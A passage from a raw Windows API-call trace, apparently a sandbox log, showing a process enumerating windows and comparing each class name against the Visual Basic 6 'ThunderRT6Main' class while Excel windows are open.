lpdwProcessId=0x0) returned 0x674 [0093.614] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0093.614] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.614] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.614] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.614] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0093.614] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.614] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.617] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.617] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0093.617] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.617] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.617] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.617] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0093.617] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0093.617] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0093.617] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.617] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0093.617] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0093.617] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0093.617] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.617] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0093.617] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0093.617] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0093.617] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.617] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0093.617] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0093.617] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0093.617] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0093.617] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.617] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.617] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.617] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0093.617] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0093.617] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0093.617] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0093.618] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0093.618] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0093.618] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0093.618] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0093.618] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.618] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.618] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0093.618] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0093.618] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0093.618] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0093.618] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.618] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0093.618] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0093.618] IsWindowEnabled (hWnd=0x302dc) returned 0 [0093.618] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0093.618] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0093.618] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0093.618] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0093.618] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0093.618] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0093.618] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0093.618] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.618] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0093.618] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0093.618] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0093.618] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0093.618] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.618] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.618] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.618] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0093.618] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0093.618] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0093.618] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0093.618] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.618] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.618] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.618] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0093.618] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0093.619] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0093.619] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0093.619] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.619] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.619] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.619] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0093.619] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0093.619] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0093.619] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0093.619] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.619] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.619] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.619] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0093.619] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0093.619] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0093.619] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0093.619] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0093.619] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0093.619] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.619] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0093.619] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0093.619] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0093.619] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0093.619] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0093.619] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0093.619] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0093.619] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0093.619] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.619] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0093.619] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0093.619] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0093.619] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0093.619] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0093.619] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0093.619] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.619] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0093.619] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0093.619] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0093.619] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0093.619] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0093.619] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0093.619] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.619] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0093.620] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0093.620] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0093.620] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0093.620] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.620] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.620] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.620] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0093.620] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0093.620] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0093.620] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0093.620] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.620] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.620] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.620] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0093.620] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0093.620] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0093.620] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0093.620] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.620] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.620] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.620] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0093.620] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0093.620] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0093.620] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0093.620] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0093.620] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0093.620] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.620] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0093.620] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0093.620] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0093.620] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0093.620] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0093.620] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0093.620] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.620] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0093.620] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0093.620] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0093.620] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0093.620] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0093.620] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0093.620] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0093.620] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0093.620] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0093.620] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0093.620] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.621] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0093.621] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0093.621] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0093.621] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0093.621] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.621] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0093.621] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0093.621] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0093.621] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0093.621] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0093.621] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0093.621] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0093.621] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0093.621] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0093.621] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0093.621] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0093.621] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.621] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0093.621] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0093.621] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0093.621] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0093.621] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0093.621] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0093.621] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.621] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0093.621] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0093.621] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0093.621] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0093.621] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0093.621] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0093.621] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.621] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0093.621] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0093.621] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0093.621] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0093.621] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0093.621] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0093.622] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.622] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0093.622] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0093.622] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0093.622] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0093.622] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0093.622] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0093.622] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0093.622] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0093.622] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0093.622] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0093.622] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.622] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0093.622] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0093.622] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0093.622] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0093.622] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0093.622] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0093.622] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.622] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0093.622] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0093.622] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0093.622] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0093.622] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0093.622] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0093.622] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.622] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0093.623] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0093.623] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0093.623] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0093.624] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0093.624] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0093.624] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.624] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0093.624] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0093.624] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0093.624] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0093.624] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0093.624] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0093.624] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.624] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0093.624] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0093.624] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0093.624] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0093.624] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0093.624] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0093.624] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.624] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0093.624] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0093.624] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0093.624] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0093.624] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0093.624] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0093.624] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.624] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0093.624] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0093.624] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0093.624] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0093.624] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0093.624] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0093.624] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.625] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0093.625] GetWindow (hWnd=0x10178, 